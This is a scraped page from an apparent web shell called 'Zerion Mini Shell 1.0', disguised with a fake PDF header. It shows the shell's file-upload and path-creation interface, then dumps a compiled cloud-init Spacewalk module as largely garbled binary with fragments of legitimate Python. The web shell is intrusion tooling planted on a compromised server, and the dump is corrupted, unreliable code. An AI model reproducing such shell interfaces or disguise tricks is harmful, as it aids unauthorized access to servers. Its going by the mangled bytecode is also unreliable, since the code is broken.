%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_spacewalk.cpython-312.pyc

�

���f�
�
���UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZdgd	�ed
gd�Ze	e
d<eje�Zgd
�ZdgZdZd�Zeddfd�Zdededededdf
d�Zy)z*Spacewalk: Install and configure spacewalk�N)�subp)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�cc_spacewalk)�rhel�fedora�	openeuler�	spacewalk)�id�distros�	frequency�activate_by_schema_keys�meta)�redhatr
rz	rhn-setupz'/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERTc��d}	tjddgd��d}|S#tj$r}|jdk7r�Yd}~|Sd}~wwxYw)NFzrhn-profile-syncz	--verbose��captureT�)r�ProcessExecutionError�	exit_code)�already_registered�es  �?/usr/lib/python3/dist-packages/cloudinit/config/cc_spacewalk.py�
is_registeredrsc������	�	�%�{�3�U�C�!������%�%���;�;�!��������s�!�A�A
�
Ac�~�tjd||�dg}|jdd|zg�|jdt|�g�|r|jdt|�g�|r|jdt|�g�|r|jdt|�g�t	j|d	�
�y)Nz;Registering using `rhnreg_ks` profile '%s' into server '%s'�	rhnreg_ksz--serverUrlzhttps://%s/XMLRPCz
--profilenamez--proxyz--sslCACertz--activationkeyFr)�LOG�info�extend�strr)�server�profile_name�ca_cert_path�proxy�activation_key�cmds      r�do_registerr)(s����H�H�E����
�-�C��J�J�
�2�V�;�<�=��J�J���\�!2�3�4���
�
�I�s�5�z�*�+���
�
�M�3�|�#4�5�6���
�
�%�s�>�':�;�<��I�I�c�5�!��name�cfg�cloud�args�returnc��d|vrtjd|�y|d}|jd�}|r||jj	t
�t
�sRt||jjd��j|jd�|jd���yytjd	|�y)
Nrz=Skipping module named %s, no 'spacewalk' key in configurationr#T)�fqdnr&r')r&r'zOSkipping module named %s, 'spacewalk/server' key was not found in configuration)r�debug�get�distro�install_packages�required_packagesrr)�
datasource�get_hostname�hostname)r+r,r-r.�spacewalk_servers     r�handler;@s����#���	�	�K��	
�	�

�k�
�C��w�w�x�(���
���%�%�&7�8���� �� � �-�-�4�-�8�A�A��g�g�g�&�"�w�w�'7�8�	
��	�	�	�
.��	
r*)�__doc__�logging�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsrr�__annotations__�	getLogger�__name__rrr6�def_ca_cert_pathrr)r"�listr;�r*r�<module>rIs���0���!�#�.�+��.�� +�}�	��j���g����!��
+�� �M��<���""�
��"�0
��
�6�
�%�
�t�
��
r*

Zerion Mini Shell 1.0